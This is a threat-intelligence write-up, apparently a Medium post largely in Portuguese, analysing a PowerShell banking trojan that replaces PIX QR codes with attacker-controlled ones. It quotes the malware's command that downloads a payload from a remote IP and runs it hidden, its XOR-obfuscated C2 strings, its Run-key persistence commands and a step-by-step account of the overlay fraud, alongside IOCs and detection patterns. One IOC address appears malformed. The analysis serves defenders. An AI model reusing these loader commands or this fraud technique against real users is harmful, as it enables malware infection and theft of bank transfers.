← Back to list

PowerShell-based Brazilian Banking Trojan with Real-Time PIX Overlay Capability

Executive Summary

dathanNobrega · 2026-05-15 02:25 · 0 claps · 9.1 min read
#security #cybersecurity #brazil #trojan
Open on Medium ↗
Wiki topics: EVAL · Evaluation & Benchmarks ECO · Economy · General 🔒 · Cybersecurity 🥊 · Combat Sports

PowerShell-based Brazilian Banking Trojan with Real-Time PIX Overlay Capability

Executive Summary

Em maio de 2026 foi analisada uma amostra de um trojan bancário brasileiro escrito em PowerShell com componente C# inline para overlay gráfico. A amostra demonstra um modelo de fraude relativamente moderno no ecossistema brasileiro: ao invés de roubar credenciais passivamente, ela coopera em tempo real que, ao detectar que a vítima está prestes a executar uma transferência PIX em seu banco, dispara uma sobreposição de tela cobrindo o QR Code legítimo com um QR Code controlado pelo atacante desviando a transferência para a conta do criminoso.

A amostra é entregue via campanha de phishing por e-mail com um link redirecionando para um site externo no qual baixa.zip contendo um arquivo .bat tematizado como “Nota Fiscal Eletrônica”. O .bat invoca PowerShell para baixar e executar um segundo estágio (msedge.txt).

Key Findings

  • Brazilian-focused — exclusivamente português brasileiro no código e UI; alvos são os 5 maiores bancos do país
  • Phishing por e-mail — .zip.bat → PowerShell DownloadFile → payload
  • Modelo “humano em tempo real” — RAT com controle remoto interativo, não apenas info-stealer
  • Fraude PIX por overlay de QR Code — substituição de QR durante transação legítima
  • Living-off-the-Land puro — sem dropper binário próprio; usa PowerShell, csc.exe, sc.exe, schtasks.exe
  • Múltiplas camadas de persistência — Windows Service + Scheduled Tasks (incluindo watchdog) + Registry Run keys
  • Protocolo C2 binário customizado — magic bytes LQWP sobre TCP/443

Threat Profile

Classificação funcional: Banking Trojan / Remote Access Trojan (RAT) Plataforma alvo: Microsoft Windows 7+ Linguagem do payload: PowerShell + C# inline (compilado via csc.exe) Vetor primário: Phishing por e-mail (.zip.bat → PowerShell) Geografia das vítimas: Brasil (geo-fenced implicitamente pelos alvos bancários) Setor alvo: Correntistas de bancos brasileiros (PJ e PF)

Infection Chain

A cadeia de infecção é composta por 5 etapas, do envio do phishing até a sessão de fraude PIX:

Stage 1 — Delivery

A vítima recebe um e-mail com tema fiscal-tributário (variantes observadas: “Nota Fiscal Eletrônica”, “Boleto”, “Intimação”). O email possui um botão que redireciona o usuario para um link

O usuario acessa o site e baixa um .zip contendo:

NotaFiscal-9911358.zip
└── Nota-Fiscal.BAT

O nome de arquivo .BAT é projetado para induzir o usuário a abrir, esperando ver um PDF ou XML de nota fiscal, visto que a maioria dos usuarios não habilitam verificar a extensão de arquivos.

Stage 2 — Execution (BAT loader)

Quando o usuário executa o .BAT, este invoca:

O argumento hide no final é o nome de uma label/função interna do próprio .BAT que oculta a janela do CMD via técnica padrão (if "%1"=="hide" goto :hide start /b "" "%~f0" hide exit /b). Padrão típico de loaders brasileiros.

Stage 3 — PowerShell Downloader

O .BAT chama o PowerShell com argumentos típicos de evasão:

powershell.exe -NoP -NonI -Exec Bypass -WindowStyle Hidden -Command 
 "(New-Object Net.WebClient).DownloadFile(
 'hxxp[://]198[.]245[.]53[.]26/payload.php', 
 'C:\Users\Public\Documents\msedge.txt')"

Pontos relevantes:

  • Servidor de payload em IP cru, não em domínio — escolha que reduz reputation-based blocking, mas aumenta exposição a blocklists de IP
  • HTTP simples (não HTTPS) no estágio 1 — payload entregue em claro
  • Pasta C:\Users\Public\Documents\ — escolhida por ser acessível por qualquer usuário e raramente monitorada
  • Nome msedge.txt — extensão .txt evita policies de bloqueio de .ps1; o nome mimetiza o Microsoft Edge

Stage 4 — Payload Execution

Logo após o download, o mesmo .BAT executa:

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex (Get-Content '%file%' -Raw)" 2>&1 >nul

O %file% é a variavel que aponta para o arquivo **msedge.txt** baixado, o RAT principal.

Stage 5 — RAT operation & Persistence

O payload principal executa em sequência:

  1. Decodifica strings críticas (C2, IP fallback) via XOR em tempo de execução
  2. Resolve o C2 via DNS, com fallback automático para IP em caso de falha
  3. Estabelece conexão TCP persistente em c.windowns-cdn.com:443 (ou IP fallback)
  4. Instala persistência (múltiplas camadas — ver seção dedicada)
  5. Envia GuestInfo ao C2 com informações do host
  6. Entra em loop de comando aguardando opcodes do operador

Technical Analysis

String Obfuscation

A amostra usa XOR de byte único para ofuscar três strings críticas. O método é o mesmo para as três, variando apenas a chave:

# C2 domain — XOR com chave 204
$Server = (-join([byte[]]@(175,226,187,165,162,168,163,187,162,191,
                           225,175,168,162,226,175,163,161)|%{[char]($_-bxor204)}))
# Fallback IP — XOR com chave 52
FallbackIP = (-join([byte[]]@(5,0,13,26,1,2,26,5,6,26,1,5)|%{[char]($_-bxor52)}))
$Port = (400+43)  # → 443

A ofuscação é trivialmente reversível, mas é o suficiente para evadir scanners estáticos baseados em string matching e regex. Notavelmente, isto difere do mecanismo usado por famílias como Coyote e Maverick, que utilizam AES + GZIP para decodificar URLs de bancos a partir de base64.

Embedded C# Compilation

O payload compila código C# em tempo de execução para usar APIs Win32 que seriam pesadas via reflection pura. Múltiplos blocos Add-Type @"..."@ são identificados:

Os nomes das classes são gerados aleatoriamente (WhipuiA, Dpirortkz, QreVmnYk) — característica que sugere builder automatizado por parte dos operadores.

C2 Protocol — “LQWP”

A comunicação com o C2 usa protocolo binário customizado sobre TCP. Cada pacote tem a estrutura:

+--------+----------+--------+----------+
| Magic  | Opcode   | Length |  Payload |
| 4 byte | 1 byte   | 4 byte |   N byte |
+--------+----------+--------+----------+
| LQWP   | 0xNN     | int32  |  JSON/   |
| (4C51  |          |  LE    |  binary  |
|  5750) |          |        |          |
+--------+----------+--------+----------+

A magic string LQWP (0x4C 0x51 0x57 0x50) é a impressão digital mais facilmente detectável do protocolo via inspeção de tráfego (mesmo sem TLS).

Catálogo completo de opcodes

Cobertura funcional: recon, controle remoto interativo, captura de input, captura de clipboard, exfiltração de arquivos, execução remota, e o conjunto de opcodes específicos de overlay PIX (o ponto único da família).

Persistence Mechanisms

O malware implementa 4 camadas de persistência em paralelo, com fallback automático conforme o privilégio disponível.

Evidencias de persistencia e execução, serviço criado e tarefa agendada

Evidencias de persistencia e execução, serviço criado e tarefa agendada

Camada 1 — Windows Service (requer admin)

ServiceName:        MicrosoftEdgeUpdateCore
DisplayName:        Windows Diagnostics ETW Service
Description:        Windows Diagnostics and Telemetry Tracking Service
BinaryPath:         C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe
StartType:          Automatic
Account:            LocalSystem (S-1-5-18)
RecoveryActions:    Restart 5s × 3 (sc.exe failure ... reset= 86400 actions= restart/5000/...)

O binPath aponta para um EXE compilado em runtime pelo próprio script via csc.exe (compilador legítimo do .NET Framework). Esse EXE é um wrapper que invoca o PowerShell, passando os parâmetros do servidor C2 já hardcoded no binário. Isso significa que mesmo se o msedge.txt for apagado, o EXE compilado pode reconstruir a operação se as configurações estiverem no binário.

⚠️ Importante para detecção: o serviço legítimo do Microsoft Edge não se chama MicrosoftEdgeUpdateCore — chama edgeupdate e edgeupdatem. O nome MicrosoftEdgeUpdateCore é uma fusão fictícia que aproveita a familiaridade do usuário com o Edge para parecer legítima.

Camada 2 — Scheduled Tasks

Duas tarefas, sendo uma watchdog:

Task #1: \MicrosoftEdgeUpdateCore
  Trigger:   AtSystemStartup (delay 30s) ou AtLogon
  RunLevel:  Highest
  RunAs:     SYSTEM
  Action:    powershell.exe -NoP -EP Bypass -W Hidden -File "<install_dir>\msedgeupdate.txt"
Task #2: \MicrosoftEdgeUpdateCore_WD       ← watchdog
  Trigger:   AtLogOn
  Action:    Verifica e recria a Task #1 se foi removida

A tarefa watchdog é o que torna a remoção apenas da tarefa principal ineficaz — ela se reinstala no próximo logon.

Tarefas agendadas criadas como persistencia

Tarefas agendadas criadas como persistencia

Camada 3 — Registry Run Keys (fallback sem admin)

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\MicrosoftEdgeUpdateCore  (variante)

Valor:

powershell.exe -NoP -EP Bypass -W Hidden -c "$env:MSEDGE_SKIP_UAC='1'; IEX (gc '<path>' -Raw)"

A variável de ambiente MSEDGE_SKIP_UAC=1 controla o caminho de execução interno do script — quando setada, evita re-prompt de UAC e usa fluxo já elevado.

Camada 4 — In-memory single-instance

O script verifica em client.pid se já existe um processo seu rodando; se sim, sai silenciosamente com [Environment]::Exit(0). Isso impede que tentativas redundantes de execução causem múltiplos processos visíveis ao usuário.

Anti-Analysis & Evasion

The PIX Overlay Attack — How the fraud actually works

O componente mais distintivo desta amostra é o mecanismo de overlay para fraude PIX em tempo real, implementado pela classe C# QROverlay (compilada em runtime).

Fluxo da fraude

  1. Vítima abre internet banking de um banco brasileiro com PIX (qualquer um dos monitorados em $MonitorDomains)
  2. O RAT detecta a presença da página via título da janela ativa e envia opcode 0x65 (QRCodeDetected) ao C2 com o nome do banco identificado
  3. O C2 sinaliza ao operador humano que há uma sessão ativa pronta para fraude. A partir daqui, o operador faz screen streaming (opcode 0x10) para acompanhar visualmente a sessão da vítima
  4. Vítima navega até a tela de transferência PIX e inicia uma operação — o banco gera e exibe o QR Code legítimo do recebedor pretendido
  5. Operador, em tempo real, identifica o valor da transação e prepara um QR Code PIX equivalente apontando para uma conta-laranja sob seu controle (chave PIX + valor casado para não levantar suspeita na tela de confirmação do celular)
  6. Operador envia opcode 0x66 (ShowQROverlay) com a imagem do QR malicioso codificada em base64 e o identificador do banco para selecionar a skin correta
  7. O cliente (RAT na máquina da vítima) instancia um System.Windows. Forms.Form, cobrindo toda a tela com a cor de fundo do banco (#EC7000 para Itaú, #CC092F para Bradesco, etc.)
  8. O Form renderiza no centro o QR Code do atacante (PictureBox 280×280) acompanhado das mensagens “Confirme sua identidade” e “Escaneie o codigo com seu celular”, reforçando a aparência de tela legítima do banco
  9. Vítima escaneia o QR com o app do celular acreditando que é uma etapa de confirmação do próprio banco. O app mostra os dados do recebedor real (conta-laranja) e o valor, mas pré-condicionada pelo contexto, a vítima confirma
  10. PIX é transferido instantaneamente para a conta-laranja.
  11. Operador envia opcode 0x67 (HideQROverlay), o Form é fechado e a vítima volta a ver a tela do banco, agora exibindo “operação realizada com sucesso” referente ao PIX que ela autorizou no celular, sem evidência visual da fraude

Configuração dos bancos-alvo

Bancos alvos

Bancos alvos

Os 5 bancos listados acima compõem apenas a paleta de skins do overlay definem cor e marca renderizadas pelo componente C# QROverlay. A lista real de alvos monitorados é significativamente maior: 36 strings em $MonitorDomains , comparadas em tempo real contra o título da janela ativa via GetForegroundWindow + GetWindowText.

Os alvos efetivamente monitorados são:

Bancos tradicionais (varejo + PJ): Bradesco, Itaú (incluindo Itaú BBA), Santander, Caixa Econômica, Banco do Brasil, Banco Safra, Daycoval, Banrisul, Sicoob, Sicredi.

Exchanges de criptomoedas: Binance, Mercado Bitcoin, Coinbase Brasil, KuCoin, Bybit.

Strings genéricas (fallback): "Internet Banking", "internetbanking", "Conta Corrente", "Net Empresa", "Home Banking" — capturam qualquer instituição cujo internet banking use esses termos no <title> da página, expandindo o alcance para bancos não-listados explicitamente.

Para alguns alvos (Caixa, Santander, Banco do Brasil), o malware exige adicionalmente que o processo da janela ativa seja um dos navegadores da lista $BrowserProcesses: msedge, chrome, firefox, opera, brave, iexplore, vivaldi, waterfox.

MITRE ATT&CK Mapping

Indicators of Compromise (IOCs)

Network

  • Tipo: Domain → Indicador: fiscaldocumento[.]com → Função: C2 fake page
  • Tipo: Domain → Indicador: c[.]windowns-cdn[.]com → Função: C2 principal (typosquat)
  • Tipo: IPv4 → Indicador: 149[.]56.12[.5]1 → Função: C2 fallback (ASN OVH-CA, AS16276)
  • Tipo: IPv4 → Indicador: 198[.]245.53[.]26 → Função: Servidor de payload (Stage 3)
  • Tipo: Port → Indicador: 443/tcp (não-HTTPS) → Função: C2 protocol “LQWP”
  • Tipo: Magic bytes → Indicador: 4C 51 57 50 (LQWP) → Função: Start de todo pacote C2

Filesystem

C:\Users\Public\Documents\msedge.txt
C:\ProgramData\Microsoft\Diagnosis\ETW\msedgeupdate.txt
C:\ProgramData\Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe
C:\ProgramData\Microsoft\Diagnosis\ETW\etw.dat
C:\ProgramData\Microsoft\Diagnosis\ETW\client.pid
C:\ProgramData\Microsoft\Diagnosis\ETW\client_debug.log
C:\ProgramData\Microsoft\Diagnosis\ETW\process_*.log
%APPDATA%\Microsoft\Diagnosis\ETW\*
%TEMP%\chat_popup_*.ps1
%TEMP%\*NotaFiscal*.zip*

Registry

HKLM\SYSTEM\CurrentControlSet\Services\MicrosoftEdgeUpdateCore
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdateCore
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\MicrosoftEdgeUpdateCore

Scheduled Tasks

\MicrosoftEdgeUpdateCore
\MicrosoftEdgeUpdateCore_WD
\Microsoft\Windows\MicrosoftEdgeUpdateCore        (variante)
\Microsoft\Windows\DiagTrackManager               (variante alternativa observada em limpeza)

Service

ServiceName:         MicrosoftEdgeUpdateCore
DisplayName:         Windows Diagnostics ETW Service
Description:         Windows Diagnostics and Telemetry Tracking Service
ImagePath endsWith:  \Microsoft\Diagnosis\ETW\MicrosoftEdgeUpdateCore.exe

Behavioral / Command-line patterns

PowerShell command lines matching:
  -Exec(utionPolicy)? Bypass + DownloadFile + C:\Users\Public\Documents\
  -ServiceMode (parameter)
  MSEDGE_SKIP_UAC (env var reference)
  msedge.txt OR msedgeupdate.txt + IEX
  chat_popup_*.ps1
  -bxor204 OR -bxor52 (packer signature)

Hashes

AEE00B79D0055A2B6813B2F4666DEB104FF78B03579034AF8BFC7B7A77B51236 — MicrosoftEdgeUpdateCore.exe

9724828F951FE3E739845AFE16D6D024378F6B94022ACED5BBA7E5CA2D9D8F67 — msedge.txt


메타데이터
post_id
230d09bb39d9
slug
powershell-based-brazilian-banking-trojan-with-real-time-pix-overlay-capability-230d09bb39d9
url
https://medium.com/@dathannobrega/powershell-based-brazilian-banking-trojan-with-real-time-pix-overlay-capability-230d09bb39d9
canonical_url
https://medium.com/@dathannobrega/powershell-based-brazilian-banking-trojan-with-real-time-pix-overlay-capability-230d09bb39d9
author_url
https://medium.com/@dathannobrega
status
ok
fetched_at
2026-07-15 02:14:29